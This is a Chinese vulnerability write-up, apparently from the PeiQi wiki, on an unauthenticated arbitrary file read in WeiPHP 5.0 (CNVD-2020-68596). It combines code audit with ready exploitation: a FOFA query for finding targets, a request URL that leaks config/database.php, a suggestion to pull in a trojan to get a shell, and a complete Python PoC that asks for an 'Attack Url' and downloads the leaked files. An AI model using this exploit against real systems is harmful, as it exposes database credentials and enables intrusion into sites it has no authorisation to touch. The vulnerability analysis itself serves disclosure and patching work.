Weiphp5.0 前台文件任意读取 CNVD-2020-68596

  • A+
所属分类:代码审计

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

Weiphp5.0 前台文件任意读取 CNVD-2020-68596


漏洞描述🐑


Weiphp5.0 存在前台文件任意读取漏洞,可以读取数据库配置等敏感文件


二:  漏洞影响🐇


Weiphp <= 5.0


三:  漏洞复现🐋

FOFA: app="WeiPHP"

漏洞函数文件:applicationmaterialcontrollerMaterial.php

漏洞函数:_download_imgage

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

public function _download_imgage($media_id, $picUrl = '', $dd = null){        $savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');        mkdirs($savePath);        $cover_id = 0;        if (empty($picUrl)) {            // 获取图片URL            $url = 'https://api.weixin.qq.com/cgi-bin/material/get_material?access_token=' . get_access_token();            $param['media_id'] = $media_id;            // dump($url);            $picContent = post_data($url, $param, 'json', false);            $picjson = json_decode($picContent, true);            // dump($picjson);die;            if (isset($picjson['errcode']) && $picjson['errcode'] != 0) {                $cover_id = do_down_image($media_id, $dd['thumb_url']);                if (!$cover_id) {                    return 0;                    exit();                }            }            $picName = NOW_TIME . uniqid() . '.jpg';            $picPath = $savePath . '/' . $picName;            $res = file_put_contents($picPath, $picContent);        } else {            $content = wp_file_get_contents($picUrl);            // 获取图片扩展名            $picExt = substr($picUrl, strrpos($picUrl, '=') + 1);            if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {                $picExt = 'jpg';            }            $picName = NOW_TIME . uniqid() . '.' . $picExt;            $picPath = $savePath . '/' . $picName;            $res = file_put_contents($picPath, $content);            if (!$res) {                $cover_id = do_down_image($media_id);                if (!$cover_id) {                    return 0;                    exit();                }            }        }
if ($res) { $file = array( 'name' => $picName, 'type' => 'application/octet-stream', 'tmp_name' => $picPath, 'size' => $res, 'error' => 0 );
$File = D('home/Picture'); $cover_id = $File->addFile($file); } return $cover_id;}

首先注意到函数的标识为public,也就是这个函数是公共调用的,并且变量picUrl为可控变量

根据代码从上向下分析

$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');

变量$savePath确定文件上传后的缓存位置为/public/uploads/picture/,并按照年-月-日 创建文件夹

向下对变量$picUrl 是否为空进行判断,并判断是否进行登录,这里使用POST传参进行验证登录绕过,跳转到else语句下

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

else {            $content = wp_file_get_contents($picUrl);            // 获取图片扩展名            $picExt = substr($picUrl, strrpos($picUrl, '=') + 1);            if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {                $picExt = 'jpg';            }            $picName = NOW_TIME . uniqid() . '.' . $picExt;            $picPath = $savePath . '/' . $picName;            $res = file_put_contents($picPath, $content);            if (!$res) {                $cover_id = do_down_image($media_id);                if (!$cover_id) {                    return 0;                    exit();                }            }

分析传入变量 picUrlwp_file_get_contents方法

$content = wp_file_get_contents($picUrl);

函数文件位置 applicationcommon.php

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

可以看到这里没有对我们的参数进行过滤,只做了一个有关超时的操作, 回到函数继续向下分析

$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {                $picExt = 'jpg';}$picName = NOW_TIME . uniqid() . '.' . $picExt;$picPath = $savePath . '/' . $picName;$res = file_put_contents($picPath, $content);

这里创建了有关当前时间的图片文件,并写入文件夹/public/uploads/picture/

我们先尝试控制变量 $picUrl 来写入数据库配置文件到图片中

/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

查看目录/public/uploads/picture/,并用记事本打开写入的jpg文件

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

得到数据库配置文件的信息,既然这个变量可控,我们也可以通过这个方法下载木马文件,再通过解析漏洞或者文件包含等其他漏洞来getshell

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

在当前条件下并不知道文件名是什么,所以回到代码中继续寻找可以获取文件名的办法

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

if ($res) {            $file = array(                'name' => $picName,                'type' => 'application/octet-stream',                'tmp_name' => $picPath,                'size' => $res,                'error' => 0            );
$File = D('home/Picture'); $cover_id = $File->addFile($file); }

向下跟进 addFile 函数

函数位置:applicationhomemodelPicture.php

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

function addFile($file){        $data['md5'] = md5_file($file['tmp_name']);        $id = $this->where('md5', $data['md5'])->value('id');        if ($id > 0) {            return $id;        }
$info = pathinfo($file['tmp_name']); $data['path'] = str_replace(SITE_PATH . '/public', '', $file['tmp_name']);
$data['sha1'] = hash_file('sha1', $file['tmp_name']); $data['create_time'] = NOW_TIME; $data['status'] = 1; $data['wpid'] = get_wpid();
$id = $this->insertGetId($data); return $id; }

可以看到这部分代码写入了 Picture 表中

$id = $this->insertGetId($data);

我们查看一下数据库的这个数据表,可以发现之前所上传的数据全部缓存在这个表里了

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

我们现在则需要找到不需要登录的地方来获得这些数据,所以可以全局去查找调用了这个 Picture 表的地方

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

找到一处可以利用的地方

function user_pics(){        $map['wpid'] = get_wpid();        $picList = M('Picture')->where(wp_where($map))            ->order('id desc')            ->select();        $this->assign('picList', $picList);        exit($this->fetch());    }

跟进 get_wpid 函数

function get_wpid($wpid = ''){    if (defined('WPID')) {        return WPID;    } else {        return 0;    }}

查看 WPID 的定义,文件位置在configweiphp_define.php

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

定义值默认为 1,所以这里调用则可以获得数据库中Pictrue表的内容,间接的知道了文件内容以及文件名

访问地址: http://webphp/public/index.php/home/file/user_pids

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

可以看到文件名,根据url地址访问选择下载即可

 四:  漏洞POC🦉

#!/usr/bin/python3#-*- coding:utf-8 -*-# author : PeiQi# from   : http://wiki.peiqi.tech

import requestsimport randomimport re

def title(): print('+------------------------------------------') print('+ 033[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 033[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 033[34m公众号 : PeiQi文库 033[0m') 033[0m') print('+ 033[34mVersion: Weiphp5.0 033[0m') print('+ 033[36m使用格式: python3 poc.py 033[0m') print('+ 033[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m') print('+------------------------------------------')
def POC_1(target_url): upload_url = target_url + "/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" } data = { "1":1 } try: response = requests.post(url=upload_url, headers=headers, data=data, timeout=20) if response.status_code == 200: print("33[32m[o] 成功将 database.php文件 写入Pictrue表中33[0m") else: print("33[31m[x] 漏洞利用失败 33[0m") except: print("33[31m[x] 漏洞利用失败 33[0m")
def POC_2(target_url): vnln_url = target_url + "/public/index.php/home/file/user_pics" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" } try: response = requests.get(url=vnln_url, headers=headers).text href = re.findall(r'<img src="(.*?)"', response) for i in href: print("33[32m[o] 得到敏感文件url:{}33[0m".format(i)) data = requests.get(url=i, headers=headers) path = str(random.randint(1,999)) + '.php' with open(path, 'wb') as f: f.write(data.content) print("33[32m[o] 成功下载文件为:{}33[0m".format(path)) print("33[32m[o] 文件内容为:n33[0m{}".format(data.text)) except: print("33[31m[x] 获取文件名失败 33[0m")


if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) POC_1(target_url) image_url = POC_2(target_url)

Weiphp5.0 前台文件任意读取 CNVD-2020-68596

 五:  关于文库🦉



    在线文库:

http://wiki.peiqi.tech


    Github:

https://github.com/PeiQi0/PeiQi-WIKI-POC

Weiphp5.0 前台文件任意读取 CNVD-2020-68596


最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦🐟

知识星球里会持续发布一些漏洞公开信息和技术文章~

Weiphp5.0 前台文件任意读取 CNVD-2020-68596



由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



本文始发于微信公众号(PeiQi文库):Weiphp5.0 前台文件任意读取 CNVD-2020-68596

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: